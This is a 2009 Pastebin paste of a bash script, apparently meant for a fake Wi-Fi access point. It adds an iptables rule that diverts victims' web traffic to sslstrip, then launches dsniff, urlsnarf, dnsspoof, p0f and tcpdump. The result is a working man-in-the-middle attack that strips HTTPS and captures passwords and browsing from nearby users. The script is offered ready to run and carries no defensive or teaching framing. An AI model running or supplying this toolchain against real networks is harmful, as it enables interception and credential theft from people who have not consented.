SHARE
TWEET

sch3m4

a guest Oct 4th, 2009 679 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. #
  3. # Chema Garcia (a.k.a. sch3m4)
  4. # sch3m4@opensec.es
  5. # http://opensec.es
  6. #
  7.  
  8. RUTA_IPTABLES='/sbin/iptables'
  9. RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
  10. RUTA_DSNIFF='/usr/sbin/dsniff'
  11. RUTA_URLSNARF='/usr/sbin/urlsnarf'
  12. RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
  13. RUTA_P0F='/usr/sbin/p0f'
  14. RUTA_TCPTRACK='/usr/bin/tcptrack'
  15. RUTA_TCPDUMP='/usr/sbin/tcpdump'
  16. PUERTO='4664'
  17. RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof
  18.  
  19. if [ ! $# -eq 1 ]
  20. then
  21.         echo -e "\nUse: $0 <iface>\n"
  22.         exit 1
  23. fi
  24.  
  25. if [ ! $UID -eq 0 ]
  26. then
  27.         sudo ls / 2>&1 >/dev/null
  28. fi
  29.  
  30. echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
  31. read SAVE
  32.  
  33. if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
  34. then
  35.         SAVE_FILE=''
  36.         while [ -z "$SAVE_FILE" ]
  37.         do
  38.                 echo -e "[?] Filename: \c"
  39.                 read SAVE_FILE
  40.         done
  41. else
  42.         SAVE_FILE=''
  43. fi
  44.  
  45. echo '[+] Adding iptables rule'
  46. sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO
  47.  
  48. echo -e '[+] Launching SSLstrip...\c'
  49. xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
  50. echo 'OK'
  51.  
  52. echo -e '[+] Launching Dsniff...\c'
  53. xterm -e sudo $RUTA_DSNIFF -i $1 &
  54. echo 'OK'
  55.  
  56. if [ ! -z "$RUTA_HOSTSDNS" ]
  57. then
  58.         echo -e '[+] Launching DNSspoof...\c'
  59.         xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
  60.         echo 'OK'
  61. fi
  62.  
  63. echo -e '[+] Launching p0f...\c'
  64. xterm -e sudo $RUTA_P0F -i $1 -U -t &
  65. echo 'OK'
  66.  
  67. echo -e '[+] Launching TCPtrack...\c'
  68. xterm -e sudo $RUTA_TCPTRACK -i $1 &
  69. echo 'OK'
  70.  
  71. echo -e '[+] Launching URLsnarf...\c'
  72. xterm -e sudo $RUTA_URLSNARF -i $1 &
  73. echo 'OK'
  74.  
  75. if [ ! -z "$SAVE_FILE" ]
  76. then
  77.         echo -e '[+] Launching TCPDump...\c'
  78.         xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
  79.         echo 'OK'
  80. fi
  81.  
  82. exit 0
RAW Paste Data
Top